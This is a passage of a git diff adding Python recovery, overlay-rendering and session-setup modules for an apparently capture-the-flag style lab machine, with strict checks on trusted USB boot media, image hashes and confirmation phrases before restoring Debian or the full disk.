+        resolved.relative_to(resolved_parent)
+    except (OSError, ValueError) as exc:
+        raise ContractError(f"{label} must exist inside trusted recovery media") from exc
+    return resolved
+
+
+def _partition_device(inventory: dict[str, Any], label: str) -> str:
+    partition = inventory.get("partitions", {}).get(label)
+    if not isinstance(partition, dict):
+        raise ContractError(f"inventory partition {label} is missing")
+    device = partition.get("device")
+    if not isinstance(device, str) or not device.startswith("/dev/"):
+        raise ContractError(f"inventory partition {label} has no exact /dev path")
+    mountpoints = partition.get("mountpoints")
+    if mountpoints not in (None, [], [None]):
+        raise ContractError(f"target partition {label} must be unmounted")
+    return device
+
+
+def _validate_marker(
+    profile: dict[str, Any], inventory: dict[str, Any], marker_path: Path
+) -> None:
+    marker = load_json(marker_path)
+    expected_recovery = profile["recovery"]
+    if marker.get("schemaVersion") != 1:
+        raise ContractError("trusted marker schemaVersion must be 1")
+    if marker.get("trustedPurpose") != "examserver-open-world-recovery":
+        raise ContractError("trusted marker purpose is invalid")
+    for key in ("kitId", "mediaUuid"):
+        if marker.get(key) != expected_recovery.get(key):
+            raise ContractError(f"trusted marker {key} does not match profile")
+    if marker.get("goldenDebianFilesystemUuid") != expected_recovery[
+        "goldenBtrfsStream"
+    ]["filesystemUuid"]:
+        raise ContractError(
+            "trusted marker golden Debian filesystem UUID does not match profile"
+        )
+    observed_media = inventory.get("recoveryMedia")
+    if not isinstance(observed_media, dict):
+        raise ContractError("recovery media was not identified by inventory")
+    if observed_media.get("mediaUuid") != expected_recovery["mediaUuid"]:
+        raise ContractError("mounted recovery media UUID does not match profile")
+    if observed_media.get("removable") is not True:
+        raise ContractError("mounted recovery media is not removable")
+
+
+def _expected_confirmation(profile: dict[str, Any], operation: str) -> str:
+    disk_by_id = profile["target"]["diskById"]
+    if operation == "normal":
+        return f"RESTORE DEBIAN {disk_by_id}"
+    if operation == "full":
+        return f"RESTORE FULL DISK INCLUDING WINDOWS {disk_by_id}"
+    raise ContractError(f"unsupported recovery operation: {operation}")
+
+
+def validate_recovery_request(
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    request: RecoveryRequest,
+    *,
+    recovery_mount: Path,
+    marker_path: Path,
+) -> RecoveryContext:
+    validate_profile(profile)
+    if inventory.get("bootEnvironment") != "trusted-recovery-media":
+        raise ContractError(
+            "recovery may run only while booted from trusted recovery media"
+        )
+    boot_evidence = inventory.get("bootEvidence")
+    if not isinstance(boot_evidence, dict):
+        raise ContractError("independent recovery boot evidence is missing")
+    if boot_evidence.get("kernelRecoveryToken") is not True:
+        raise ContractError("trusted recovery kernel token was not observed")
+    if boot_evidence.get("recoverySourceRemovable") is not True:
+        raise ContractError("recovery source is not independently removable")
+    if boot_evidence.get("rootSourceRemovable") is not True:
+        raise ContractError("recovery operating-system root is not removable")
+    if boot_evidence.get("rootSourceHasBlockTopology") is not True:
+        raise ContractError("recovery operating-system root topology is empty")
+    if boot_evidence.get("rootSourceNotTarget") is not True:
+        raise ContractError("recovery operating-system root resolves to target")
+    if boot_evidence.get("rootSharesRecoveryMedia") is not True:
+        raise ContractError(
+            "recovery operating-system root does not share the recovery USB"
+        )
+    root_backing_devices = boot_evidence.get("rootBackingDevices")
+    root_physical_disks = boot_evidence.get("rootPhysicalDisks")
+    target_source = inventory.get("targetDisk", {}).get("resolvedDevice")
+    if not isinstance(root_backing_devices, list) or not root_backing_devices:
+        raise ContractError("recovery root block topology is missing")
+    if not isinstance(root_physical_disks, list) or not root_physical_disks:
+        raise ContractError("recovery root physical disk is missing")
+    if (
+        not isinstance(target_source, str)
+        or target_source in root_backing_devices
+    ):
+        raise ContractError("recovery system root is backed by the target disk")
+    identity_errors = validate_exact_identity(profile, inventory)
+    if identity_errors:
+        raise ContractError("; ".join(identity_errors))
+
+    expected_target = profile["target"]
+    supplied = {
+        "diskById": request.disk_by_id,
+        "debianPartuuid": request.debian_partuuid,
+        "espPartuuid": request.esp_partuuid,
+        "windowsPartuuid": request.windows_partuuid,
+    }
+    for key, value in supplied.items():
+        if value != expected_target[key]:
+            raise ContractError(f"supplied {key} does not exactly match profile")
+    expected_phrase = _expected_confirmation(profile, request.operation)
+    if request.confirmation != expected_phrase:
+        raise ContractError(f"confirmation must exactly equal: {expected_phrase}")
+
+    observed_mount = inventory["recoveryMedia"].get("mountPoint")
+    resolved_mount = recovery_mount.resolve(strict=True)
+    if observed_mount != str(resolved_mount):
+        raise ContractError("recovery mount path does not match live inventory")
+    media_source = inventory["recoveryMedia"].get("sourceDevice")
+    if not isinstance(media_source, str) or not media_source.startswith("/dev/"):
+        raise ContractError("recovery media source device is not known")
+    if media_source == target_source or media_source.startswith(str(target_source)):
+        raise ContractError("recovery media resolves to the target disk")
+    backing_devices = inventory["recoveryMedia"].get("backingDevices")
+    if (
+        not isinstance(backing_devices, list)
+        or not backing_devices
+        or target_source in backing_devices
+    ):
+        raise ContractError("recovery media is backed by the target disk")
+    media_physical_disks = inventory["recoveryMedia"].get("physicalDisks")
+    if (
+        not isinstance(media_physical_disks, list)
+        or not media_physical_disks
+        or not set(root_physical_disks) & set(media_physical_disks)
+        or boot_evidence.get("rootTransport") != "usb"
+        or inventory["recoveryMedia"].get("transport") != "usb"
+    ):
+        raise ContractError(
+            "recovery root and assets are not on the same physical USB"
+        )
+    resolved_marker = _require_under(marker_path, resolved_mount, "trusted marker")
+    _validate_marker(profile, inventory, resolved_marker)
+
+    recovery = profile["recovery"]
+    if request.operation == "normal":
+        asset = recovery["goldenBtrfsStream"]
+        efi_asset = recovery["debianEfiArchive"]
+        if request.image_sha256.lower() != asset["sha256"].lower():
+            raise ContractError("supplied golden stream hash does not match profile")
+        if request.efi_sha256 is None or (
+            request.efi_sha256.lower() != efi_asset["sha256"].lower()
+        ):
+            raise ContractError("supplied Debian EFI hash does not match profile")
+        image_path = _require_under(
+            resolved_mount / asset["path"], resolved_mount, "golden Btrfs stream"
+        )
+        efi_path = _require_under(
+            resolved_mount / efi_asset["path"], resolved_mount, "Debian EFI archive"
+        )
+        if sha256_file(image_path) != request.image_sha256.lower():
+            raise ContractError("golden Btrfs stream content hash mismatch")
+        if sha256_file(efi_path) != request.efi_sha256.lower():
+            raise ContractError("Debian EFI archive content hash mismatch")
+    elif request.operation == "full":
+        asset = recovery["bareMetalImage"]
+        if request.image_sha256.lower() != asset["sha256"].lower():
+            raise ContractError("supplied full-image hash does not match profile")
+        image_path = _require_under(
+            resolved_mount / asset["path"], resolved_mount, "bare-metal image"
+        )
+        if sha256_file(image_path) != request.image_sha256.lower():
+            raise ContractError("bare-metal image content hash mismatch")
+        image_size = image_path.stat().st_size
+        expected_size = profile["target"]["diskSizeBytes"]
+        if image_size != expected_size:
+            raise ContractError(
+                "bare-metal image logical size must exactly match target disk: "
+                f"expected {expected_size}, observed {image_size}"
+            )
+        efi_path = None
+    else:
+        raise ContractError(f"unsupported recovery operation: {request.operation}")
+
+    target_disk = inventory["targetDisk"].get("resolvedDevice")
+    if not isinstance(target_disk, str) or not target_disk.startswith("/dev/"):
+        raise ContractError("inventory has no exact resolved target disk device")
+    return RecoveryContext(
+        recovery_mount=resolved_mount,
+        marker_path=resolved_marker,
+        image_path=image_path,
+        efi_archive_path=efi_path,
+        target_disk_device=target_disk,
+        debian_device=_partition_device(inventory, "debian"),
+        esp_device=_partition_device(inventory, "esp"),
+        windows_device=_partition_device(inventory, "windows"),
+    )
+
+
+def recovery_plan(
+    profile: dict[str, Any],
+    request: RecoveryRequest,
+    context: RecoveryContext,
+) -> dict[str, Any]:
+    if request.operation == "normal":
+        actions = [
+            {
+                "action": "format-btrfs-with-golden-uuid",
+                "target": context.debian_device,
+                "filesystemUuid": profile["recovery"][
+                    "goldenBtrfsStream"
+                ]["filesystemUuid"],
+                "verifyReadback": True,
+                "preserves": ["partition-table", "ESP", "Windows"],
+            },
+            {
+                "action": "receive-golden-subvolume",
+                "source": str(context.image_path),
+                "expectedSubvolume": "@",
+            },
+            {
+                "action": "make-received-root-writable",
+                "target": "@",
+                "expectedProperty": "ro=false",
+            },
+            {
+                "action": "verify-stable-root-boot-contract",
+                "allowedRootIdentifiers": [
+                    f"PARTUUID={request.debian_partuuid}",
+                    "LABEL=open-world-lab",
+                ],
+                "forbiddenRootIdentifier": "UUID",
+            },
+            {
+                "action": "verify-microsoft-efi-before",
+                "expectedSha256": profile["recovery"]["microsoftEfiTreeSha256"],
+            },
+            {
+                "action": "replace-debian-efi-only",
+                "source": str(context.efi_archive_path),
+                "target": f"{context.esp_device}:EFI/debian",
+            },
+            {
+                "action": "verify-microsoft-efi-after",
+                "expectedSha256": profile["recovery"]["microsoftEfiTreeSha256"],
+            },
+        ]
+    else:
+        actions = [
+            {
+                "action": "write-full-disk-image",
+                "source": str(context.image_path),
+                "target": context.target_disk_device,
+                "expectedBytes": profile["target"]["diskSizeBytes"],
+                "validatedImageBytes": context.image_path.stat().st_size,
+                "overwrites": ["Debian", "ESP", "Windows", "partition-table"],
+            }
+        ]
+    return {
+        "applied": False,
+        "operation": request.operation,
+        "diskById": request.disk_by_id,
+        "actions": actions,
+        "physicalVerificationRequired": [
+            "target boots Debian exercise mode",
+            "Windows boots offline",
+            "all 14 flags and session residue are back at golden state",
+        ],
+    }
+
+
+def tree_sha256(root: Path) -> str:
+    if not root.is_dir() or root.is_symlink():
+        raise ContractError(f"EFI tree is missing or unsafe: {root}")
+    digest = hashlib.sha256()
+    for path in sorted(root.rglob("*")):
+        if path.is_symlink():
+            raise ContractError(f"EFI tree contains a symlink: {path}")
+        relative = path.relative_to(root).as_posix().encode("utf-8")
+        if path.is_dir():
+            digest.update(b"D\0" + relative + b"\0")
+        elif path.is_file():
+            digest.update(b"F\0" + relative + b"\0")
+            with path.open("rb") as source:
+                while chunk := source.read(1024 * 1024):
+                    digest.update(chunk)
+        else:
+            raise ContractError(f"EFI tree contains a special file: {path}")
+    return digest.hexdigest()
+
+
+def _validated_efi_members(archive: tarfile.TarFile) -> list[tarfile.TarInfo]:
+    members = archive.getmembers()
+    if not members:
+        raise ContractError("Debian EFI archive is empty")
+    validated: list[tarfile.TarInfo] = []
+    for member in members:
+        relative = PurePosixPath(member.name)
+        if relative.is_absolute() or ".." in relative.parts:
+            raise ContractError(f"unsafe EFI archive path: {member.name}")
+        if relative.parts[:2] != ("EFI", "debian"):
+            raise ContractError(
+                f"EFI archive may contain only EFI/debian: {member.name}"
+            )
+        if member.issym() or member.islnk() or member.isdev():
+            raise ContractError(f"EFI archive contains a link/device: {member.name}")
+        if not (member.isdir() or member.isfile()):
+            raise ContractError(f"EFI archive contains unsupported entry: {member.name}")
+        validated.append(member)
+    return validated
+
+
+def _extract_debian_efi(archive_path: Path, esp_mount: Path) -> None:
+    debian_root = esp_mount / "EFI" / "debian"
+    resolved_esp = esp_mount.resolve(strict=True)
+    if debian_root.exists():
+        if debian_root.is_symlink():
+            raise ContractError("existing EFI/debian is a symlink")
+        resolved_debian = debian_root.resolve(strict=True)
+        try:
+            resolved_debian.relative_to(resolved_esp)
+        except ValueError as exc:
+            raise ContractError("existing EFI/debian escapes the mounted ESP") from exc
+        shutil.rmtree(resolved_debian)
+    with tarfile.open(archive_path, "r:*") as archive:
+        members = _validated_efi_members(archive)
+        for member in members:
+            destination = esp_mount.joinpath(*PurePosixPath(member.name).parts)
+            destination.parent.mkdir(parents=True, exist_ok=True)
+            if member.isdir():
+                destination.mkdir(parents=True, exist_ok=True)
+                continue
+            source = archive.extractfile(member)
+            if source is None:
+                raise ContractError(f"cannot read archive member: {member.name}")
+            with source, destination.open("wb") as target:
+                shutil.copyfileobj(source, target)
+            os.chmod(destination, member.mode & 0o755)
+
+
+def _run(
+    args: list[str],
+    *,
+    stdin: BinaryIO | None = None,
+    runner: Callable[..., subprocess.CompletedProcess[bytes]] = subprocess.run,
+) -> subprocess.CompletedProcess[bytes]:
+    completed = runner(
+        args,
+        stdin=stdin,
+        check=False,
+        capture_output=True,
+        timeout=None,
+    )
+    if completed.returncode != 0:
+        stderr = completed.stderr.decode("utf-8", errors="replace").strip()
+        raise ContractError(f"recovery command failed: {args!r}: {stderr}")
+    return completed
+
+
+def btrfs_format_command(device: str, filesystem_uuid: str) -> list[str]:
+    return [
+        "mkfs.btrfs",
+        "--force",
+        "--label",
+        "open-world-lab",
+        "--uuid",
+        filesystem_uuid,
+        device,
+    ]
+
+
+def verify_filesystem_uuid(
+    device: str,
+    expected_uuid: str,
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[bytes]] = subprocess.run,
+) -> None:
+    completed = _run(
+        [
+            "blkid",
+            "--probe",
+            "--output",
+            "value",
+            "--match-tag",
+            "UUID",
+            device,
+        ],
+        runner=runner,
+    )
+    observed = completed.stdout.decode(
+        "utf-8", errors="replace"
+    ).strip()
+    if observed.lower() != expected_uuid.lower():
+        raise ContractError(
+            "formatted Debian filesystem UUID does not match the golden "
+            f"boot identity: expected {expected_uuid}, observed {observed!r}"
+        )
+
+
+def validate_restored_boot_contract(
+    restored_root: Path, debian_partuuid: str
+) -> None:
+    if restored_root.is_symlink() or not restored_root.is_dir():
+        raise ContractError("restored @ root is missing or unsafe")
+    fstab = restored_root / "etc/fstab"
+    grub = restored_root / "boot/grub/grub.cfg"
+    if (
+        not fstab.is_file()
+        or fstab.is_symlink()
+        or not grub.is_file()
+        or grub.is_symlink()
+    ):
+        raise ContractError("restored root lacks trusted fstab or generated grub.cfg")
+    allowed = {
+        f"PARTUUID={debian_partuuid}",
+        "LABEL=open-world-lab",
+    }
+    root_entries: list[list[str]] = []
+    for line in fstab.read_text(encoding="utf-8").splitlines():
+        content = line.split("#", 1)[0].strip()
+        if not content:
+            continue
+        fields = content.split()
+        if len(fields) >= 4 and fields[1] == "/":
+            root_entries.append(fields)
+    if len(root_entries) != 1:
+        raise ContractError("restored fstab must contain exactly one / entry")
+    source, _, filesystem_type, options = root_entries[0][:4]
+    if source not in allowed:
+        raise ContractError("restored fstab root is not stable across mkfs")
+    if filesystem_type != "btrfs" or "subvol=@" not in options.split(","):
+        raise ContractError("restored fstab root must mount the btrfs @ subvolume")
+
+    grub_text = grub.read_text(encoding="utf-8")
+    if re.search(r"(?:^|\s)root=UUID=", grub_text):
+        raise ContractError("generated grub.cfg still depends on filesystem UUID")
+    allowed_pattern = "|".join(re.escape(value) for value in sorted(allowed))
+    if not re.search(rf"(?:^|\s)root=(?:{allowed_pattern})(?:\s|$)", grub_text):
+        raise ContractError("generated grub.cfg has no stable root identifier")
+
+
+def validate_received_subvolume(btrfs_mount: Path) -> Path:
+    expected_root = btrfs_mount / "@"
+    received_entries = sorted(path.name for path in btrfs_mount.iterdir())
+    if (
+        received_entries != ["@"]
+        or not expected_root.is_dir()
+        or expected_root.is_symlink()
+    ):
+        raise ContractError(
+            "golden stream must create exactly one top-level @ subvolume"
+        )
+    return expected_root
+
+
+def make_received_root_writable(
+    restored_root: Path,
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[bytes]] = subprocess.run,
+) -> None:
+    _run(
+        ["btrfs", "property", "set", str(restored_root), "ro", "false"],
+        runner=runner,
+    )
+    completed = _run(
+        ["btrfs", "property", "get", str(restored_root), "ro"],
+        runner=runner,
+    )
+    observed = completed.stdout.decode("utf-8", errors="replace").strip()
+    if observed != "ro=false":
+        raise ContractError(
+            f"received @ subvolume remained read-only: {observed!r}"
+        )
+
+
+def _require_recovery_authority() -> None:
+    if os.name != "posix" or os.geteuid() != 0:
+        raise ContractError("recovery mutation requires root on trusted Linux media")
+
+
+def apply_recovery(
+    profile: dict[str, Any],
+    request: RecoveryRequest,
+    context: RecoveryContext,
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[bytes]] = subprocess.run,
+) -> dict[str, Any]:
+    _require_recovery_authority()
+    if request.operation == "full":
+        _run(
+            [
+                "dd",
+                f"if={context.image_path}",
+                f"of={context.target_disk_device}",
+                "bs=16M",
+                "iflag=fullblock",
+                "conv=fsync",
+                "status=progress",
+            ],
+            runner=runner,
+        )
+        return {
+            "applied": True,
+            "operation": "full",
+            "physicalVerificationRequired": True,
+        }
+
+    if context.efi_archive_path is None:
+        raise ContractError("normal recovery requires the Debian EFI archive")
+    mount_root = Path("/run/open-world-recovery")
+    mount_root.mkdir(mode=0o700, parents=True, exist_ok=True)
+    temporary = Path(tempfile.mkdtemp(prefix="restore-", dir=mount_root))
+    btrfs_mount = temporary / "btrfs"
+    esp_mount = temporary / "esp"
+    btrfs_mount.mkdir(mode=0o700)
+    esp_mount.mkdir(mode=0o700)
+    btrfs_mounted = False
+    esp_mounted = False
+    try:
+        golden_filesystem_uuid = profile["recovery"][
+            "goldenBtrfsStream"
+        ]["filesystemUuid"]
+        _run(
+            btrfs_format_command(
+                context.debian_device, golden_filesystem_uuid
+            ),
+            runner=runner,
+        )
+        verify_filesystem_uuid(
+            context.debian_device,
+            golden_filesystem_uuid,
+            runner=runner,
+        )
+        _run(["mount", context.debian_device, str(btrfs_mount)], runner=runner)
+        btrfs_mounted = True
+        with context.image_path.open("rb") as stream:
+            _run(["btrfs", "receive", str(btrfs_mount)], stdin=stream, runner=runner)
+        expected_root = validate_received_subvolume(btrfs_mount)
+        make_received_root_writable(expected_root, runner=runner)
+        validate_restored_boot_contract(
+            expected_root, request.debian_partuuid
+        )
+        _run(["umount", str(btrfs_mount)], runner=runner)
+        btrfs_mounted = False
+
+        _run(["mount", context.esp_device, str(esp_mount)], runner=runner)
+        esp_mounted = True
+        microsoft = esp_mount / "EFI" / "Microsoft"
+        expected_microsoft = profile["recovery"]["microsoftEfiTreeSha256"].lower()
+        if tree_sha256(microsoft) != expected_microsoft:
+            raise ContractError("Microsoft EFI tree differs before Debian EFI restore")
+        _extract_debian_efi(context.efi_archive_path, esp_mount)
+        if tree_sha256(microsoft) != expected_microsoft:
+            raise ContractError("Microsoft EFI tree changed during Debian EFI restore")
+        _run(["sync"], runner=runner)
+        _run(["umount", str(esp_mount)], runner=runner)
+        esp_mounted = False
+    finally:
+        cleanup_errors: list[str] = []
+        if esp_mounted:
+            try:
+                _run(["umount", str(esp_mount)], runner=runner)
+            except ContractError as exc:
+                cleanup_errors.append(str(exc))
+        if btrfs_mounted:
+            try:
+                _run(["umount", str(btrfs_mount)], runner=runner)
+            except ContractError as exc:
+                cleanup_errors.append(str(exc))
+        if os.path.ismount(esp_mount) or os.path.ismount(btrfs_mount):
+            cleanup_errors.append(
+                f"recovery mount remains active under {temporary}; left in place"
+            )
+        else:
+            try:
+                esp_mount.rmdir()
+                btrfs_mount.rmdir()
+                temporary.rmdir()
+            except OSError as exc:
+                cleanup_errors.append(
+                    f"safe empty-directory cleanup failed under {temporary}: {exc}"
+                )
+        if cleanup_errors:
+            raise ContractError("; ".join(cleanup_errors))
+    return {
+        "applied": True,
+        "operation": "normal",
+        "debianFilesystemUuidPreserved": True,
+        "microsoftEfiPreserved": True,
+        "physicalVerificationRequired": True,
+    }
diff --git a/labs/open-world-target/platform/open_world_platform/render.py b/labs/open-world-target/platform/open_world_platform/render.py
new file mode 100644
index 0000000..5b1fcc2
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/render.py
@@ -0,0 +1,190 @@
+from __future__ import annotations
+
+import hashlib
+import json
+import os
+from pathlib import Path
+from typing import Any
+
+from .model import (
+    ContractError,
+    canonical_json,
+    load_json,
+    sha256_file,
+    validate_manifest,
+    validate_profile,
+    validate_profile_against_manifest,
+)
+
+
+SOURCE_DATE_EPOCH = 1_700_000_000
+
+
+def platform_root() -> Path:
+    return Path(__file__).resolve().parents[1]
+
+
+def _ensure_empty_output(output: Path) -> None:
+    if output.exists():
+        if not output.is_dir():
+            raise ContractError(f"render output is not a directory: {output}")
+        if any(output.iterdir()):
+            raise ContractError(
+                f"render output must not exist or must be empty: {output}"
+            )
+    else:
+        output.mkdir(parents=True)
+
+
+def _render_text(source: Path, replacements: dict[str, str]) -> bytes:
+    text = source.read_text(encoding="utf-8")
+    for key, value in replacements.items():
+        text = text.replace("{{" + key + "}}", value)
+    if "{{" in text or "}}" in text:
+        raise ContractError(f"unresolved template marker in {source}")
+    return text.encode("utf-8")
+
+
+def _write_file(path: Path, content: bytes, mode: int) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_bytes(content)
+    os.chmod(path, mode)
+    os.utime(path, (SOURCE_DATE_EPOCH, SOURCE_DATE_EPOCH))
+
+
+def _target_path(output: Path, absolute_target: str) -> Path:
+    relative = Path(absolute_target.lstrip("/"))
+    target = (output / relative).resolve()
+    try:
+        target.relative_to(output.resolve())
+    except ValueError as exc:
+        raise ContractError(f"install target escapes render root: {absolute_target}") from exc
+    return target
+
+
+def render_overlay(
+    manifest_path: Path, profile_path: Path, output: Path
+) -> dict[str, Any]:
+    manifest = load_json(manifest_path)
+    profile = load_json(profile_path)
+    validate_manifest(manifest)
+    validate_profile(profile)
+    validate_profile_against_manifest(manifest, profile)
+    _ensure_empty_output(output)
+
+    replacements = {
+        "WIRED_INTERFACE": profile["network"]["wiredInterface"],
+        "WIRED_MAC": profile["network"]["wiredMac"].lower(),
+        "WINDOWS_PARTUUID": profile["target"]["windowsPartuuid"],
+    }
+    installed: list[dict[str, Any]] = []
+    root = platform_root()
+    for entry in manifest["installFiles"]:
+        source = root / entry["source"]
+        if not source.is_file():
+            raise ContractError(f"manifest source does not exist: {source}")
+        content = (
+            _render_text(source, replacements)
+            if entry["template"]
+            else source.read_bytes()
+        )
+        mode = int(entry["mode"], 8)
+        target = _target_path(output, entry["target"])
+        _write_file(target, content, mode)
+        installed.append(
+            {
+                "target": entry["target"],
+                "mode": entry["mode"],
+                "sha256": hashlib.sha256(content).hexdigest(),
+            }
+        )
+
+    package_source = root / "open_world_platform"
+    for source in sorted(package_source.glob("*.py")):
+        target_name = (
+            "/usr/local/lib/open-world-platform/open_world_platform/" + source.name
+        )
+        target = _target_path(output, target_name)
+        content = source.read_bytes()
+        _write_file(target, content, 0o644)
+        installed.append(
+            {
+                "target": target_name,
+                "mode": "0644",
+                "sha256": hashlib.sha256(content).hexdigest(),
+            }
+        )
+
+    profile_target_name = "/etc/open-world-lab/profile.json"
+    profile_content = canonical_json(profile)
+    _write_file(_target_path(output, profile_target_name), profile_content, 0o600)
+    installed.append(
+        {
+            "target": profile_target_name,
+            "mode": "0600",
+            "sha256": hashlib.sha256(profile_content).hexdigest(),
+        }
+    )
+
+    packages_target_name = "/usr/local/share/open-world-lab/packages.txt"
+    packages_content = (
+        "\n".join(manifest["packages"]) + "\n"
+    ).encode("utf-8")
+    _write_file(_target_path(output, packages_target_name), packages_content, 0o644)
+    installed.append(
+        {
+            "target": packages_target_name,
+            "mode": "0644",
+            "sha256": hashlib.sha256(packages_content).hexdigest(),
+        }
+    )
+
+    source_manifest_target_name = (
+        "/usr/local/share/open-world-lab/platform-manifest.json"
+    )
+    source_manifest_content = canonical_json(manifest)
+    _write_file(
+        _target_path(output, source_manifest_target_name),
+        source_manifest_content,
+        0o644,
+    )
+    installed.append(
+        {
+            "target": source_manifest_target_name,
+            "mode": "0644",
+            "sha256": hashlib.sha256(source_manifest_content).hexdigest(),
+        }
+    )
+
+    generated_manifest = {
+        "schemaVersion": 1,
+        "labId": manifest["labId"],
+        "sourceManifestSha256": sha256_file(manifest_path),
+        "files": sorted(installed, key=lambda item: item["target"]),
+    }
+    generated_path = _target_path(
+        output, "/usr/local/share/open-world-lab/install-manifest.json"
+    )
+    _write_file(generated_path, canonical_json(generated_manifest), 0o644)
+    return generated_manifest
+
+
+def tree_digest(root: Path) -> str:
+    digest = hashlib.sha256()
+    for path in sorted(item for item in root.rglob("*") if item.is_file()):
+        relative = path.relative_to(root).as_posix().encode("utf-8")
+        digest.update(relative + b"\0")
+        digest.update(f"{path.stat().st_mode & 0o777:04o}".encode("ascii") + b"\0")
+        digest.update(path.read_bytes())
+        digest.update(b"\0")
+    return digest.hexdigest()
+
+
+def write_overlay_archive_manifest(output: Path, destination: Path) -> None:
+    value = {
+        "schemaVersion": 1,
+        "treeSha256": tree_digest(output),
+    }
+    destination.write_text(
+        json.dumps(value, indent=2, sort_keys=True) + "\n", encoding="utf-8"
+    )
diff --git a/labs/open-world-target/platform/open_world_platform/session.py b/labs/open-world-target/platform/open_world_platform/session.py
new file mode 100644
index 0000000..62fb725
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/session.py
@@ -0,0 +1,200 @@
+from __future__ import annotations
+
+import json
+import os
+import secrets
+import tempfile
+from pathlib import Path
+from typing import Callable
+
+from .model import ContractError, canonical_json
+
+
+FRESH_MARKER_CONTENT = {
+    "schemaVersion": 1,
+    "state": "fresh",
+    "source": "trusted-bundle-or-recovery",
+}
+DEFAULT_FRESH_MARKER = Path(
+    "/var/lib/examserver-open-world/fresh-state.json"
+)
+DEFAULT_STATE_PATH = Path(
+    "/var/lib/examserver-open-world/telemetry-state.json"
+)
+DEFAULT_ENV_PATH = Path("/etc/examserver-open-world/session.env")
+DEFAULT_RUNTIME_ID_PATH = Path("/run/examserver-open-world/session-id")
+ENVIRONMENT_PARENT_MODE = 0o711
+RUNTIME_PARENT_MODE = 0o750
+
+
+def _read_fresh_marker(path: Path) -> None:
+    if not path.is_file() or path.is_symlink():
+        raise ContractError(
+            "trusted fresh-state marker is missing; restore before a new exercise"
+        )
+    if os.name == "posix":
+        metadata = path.stat()
+        validate_fresh_marker_metadata(
+            uid=metadata.st_uid, mode=metadata.st_mode & 0o777
+        )
+    try:
+        value = json.loads(path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError) as exc:
+        raise ContractError("trusted fresh-state marker is invalid") from exc
+    if value != FRESH_MARKER_CONTENT:
+        raise ContractError("trusted fresh-state marker content does not match")
+
+
+def validate_fresh_marker_metadata(*, uid: int, mode: int) -> None:
+    if uid != 0 or mode != 0o400:
+        raise ContractError(
+            "trusted fresh-state marker must be root-owned with mode 0400"
+        )
+
+
+def _atomic_write(
+    path: Path,
+    content: bytes,
+    *,
+    mode: int,
+    uid: int,
+    gid: int,
+    chown: Callable[[Path, int, int], None],
+) -> None:
+    descriptor, temporary_name = tempfile.mkstemp(
+        prefix=f".{path.name}.", dir=path.parent
+    )
+    temporary = Path(temporary_name)
+    try:
+        with os.fdopen(descriptor, "wb") as destination:
+            destination.write(content)
+            destination.flush()
+            os.fsync(destination.fileno())
+        os.chmod(temporary, mode)
+        os.replace(temporary, path)
+        chown(path, uid, gid)
+    finally:
+        temporary.unlink(missing_ok=True)
+
+
+def _prepare_parent(
+    path: Path,
+    *,
+    mode: int,
+    gid: int,
+    chown: Callable[[Path, int, int], None],
+) -> None:
+    parent = path.parent
+    if parent.exists():
+        if parent.is_symlink() or not parent.is_dir():
+            raise ContractError(f"session parent is not a safe directory: {parent}")
+    else:
+        if not parent.parent.is_dir() or parent.parent.is_symlink():
+            raise ContractError(
+                f"session parent base is not a safe directory: {parent.parent}"
+            )
+        parent.mkdir(mode=mode)
+    os.chmod(parent, mode)
+    chown(parent, 0, gid)
+
+
+def prepare_fresh_session(
+    *,
+    fresh_marker: Path = DEFAULT_FRESH_MARKER,
+    state_path: Path = DEFAULT_STATE_PATH,
+    environment_path: Path = DEFAULT_ENV_PATH,
+    runtime_id_path: Path = DEFAULT_RUNTIME_ID_PATH,
+    session_factory: Callable[[], str] | None = None,
+    bridge_token_factory: Callable[[], str] | None = None,
+    group_lookup: Callable[[str], int] | None = None,
+    chown: Callable[[Path, int, int], None] | None = None,
+) -> str:
+    _read_fresh_marker(fresh_marker)
+    stale = [
+        path
+        for path in (state_path, environment_path, runtime_id_path)
+        if path.exists()
+    ]
+    if stale:
+        raise ContractError(
+            "stale telemetry/session state exists; trusted restore is required: "
+            + ", ".join(str(path) for path in stale)
+        )
+
+    session_id = (
+        session_factory()
+        if session_factory is not None
+        else "exercise-" + secrets.token_hex(16)
+    )
+    if not isinstance(session_id, str) or not session_id.startswith("exercise-"):
+        raise ContractError("session factory returned an unsafe session ID")
+    suffix = session_id.removeprefix("exercise-")
+    if not suffix or len(session_id) > 80 or not suffix.replace("-", "").isalnum():
+        raise ContractError("session factory returned an unsafe session ID")
+    bridge_token = (
+        bridge_token_factory()
+        if bridge_token_factory is not None
+        else secrets.token_hex(32)
+    )
+    if (
+        not isinstance(bridge_token, str)
+        or not 32 <= len(bridge_token) <= 512
+        or any(not 33 <= ord(character) <= 126 for character in bridge_token)
+    ):
+        raise ContractError("bridge token factory returned an unsafe token")
+
+    if group_lookup is None:
+        try:
+            import grp
+        except ImportError as exc:
+            raise ContractError("POSIX group lookup is unavailable") from exc
+        lookup = lambda name: grp.getgrnam(name).gr_gid
+    else:
+        lookup = group_lookup
+    change_owner = chown or (lambda path, uid, gid: os.chown(path, uid, gid))
+    try:
+        telemetry_gid = lookup("lab-telemetry")
+        event_gid = lookup("lab-events")
+    except KeyError as exc:
+        raise ContractError(f"required session group is missing: {exc}") from exc
+    _prepare_parent(
+        environment_path,
+        mode=ENVIRONMENT_PARENT_MODE,
+        gid=0,
+        chown=change_owner,
+    )
+    _prepare_parent(
+        runtime_id_path,
+        mode=RUNTIME_PARENT_MODE,
+        gid=event_gid,
+        chown=change_owner,
+    )
+    _atomic_write(
+        environment_path,
+        (
+            f"LAB_SESSION_ID={session_id}\n"
+            f"TELEMETRY_BRIDGE_TOKEN={bridge_token}\n"
+        ).encode("ascii"),
+        mode=0o640,
+        uid=0,
+        gid=telemetry_gid,
+        chown=change_owner,
+    )
+    try:
+        _atomic_write(
+            runtime_id_path,
+            f"{session_id}\n".encode("ascii"),
+            mode=0o640,
+            uid=0,
+            gid=event_gid,
+            chown=change_owner,
+        )
+    except Exception:
+        environment_path.unlink(missing_ok=True)
+        raise
+    fresh_marker.unlink()
+    return session_id
+
+
+def fresh_marker_bytes() -> bytes:
